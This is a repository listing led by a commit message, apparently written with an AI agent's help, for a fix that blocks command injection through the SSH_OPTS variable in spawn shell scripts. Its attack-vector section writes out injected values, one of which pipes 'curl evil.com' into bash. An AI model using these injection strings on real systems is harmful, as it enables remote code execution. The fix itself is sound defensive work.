spawn/shared
A 42808ae101
security: prevent command injection via SSH_OPTS environment variable (#1111)
HIGH severity fix for command injection vulnerability.

The SSH_OPTS environment variable was used unquoted in multiple ssh/scp
commands throughout the codebase. While intentionally unquoted to allow
multiple options, this created a command injection risk if an attacker
could control the SSH_OPTS environment variable.

Attack vector:
  export SSH_OPTS="-o ProxyCommand='bash -c whoami'"; ./cloud/agent.sh
  export SSH_OPTS="; curl evil.com | bash #"; ./cloud/agent.sh

Impact: Remote code execution on the user's machine when running any
spawn script with a malicious SSH_OPTS value.

Fix: Added _validate_ssh_opts() function that blocks shell metacharacters
(; | & \` $ ( ) < >) in SSH_OPTS. If validation fails, secure defaults
are used instead.

Tested validation against:
- Semicolon injection (;)
- Pipe injection (|)
- Backtick injection (\`)
- Command substitution ($())
- Background execution (&)
- Redirection (< >)

Files changed:
- shared/common.sh: Added validation function and enforcement

Agent: security-auditor

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 12:43:32 -05:00
..
common.sh security: prevent command injection via SSH_OPTS environment variable (#1111) 2026-02-14 12:43:32 -05:00
github-auth.sh refactor: decompose ensure_jq and ensure_gh_cli into focused helpers (#994) 2026-02-13 12:14:56 -08:00
key-request.sh fix: Properly handle comma-separated auth vars in key-request.sh (#1083) 2026-02-14 05:10:11 -05:00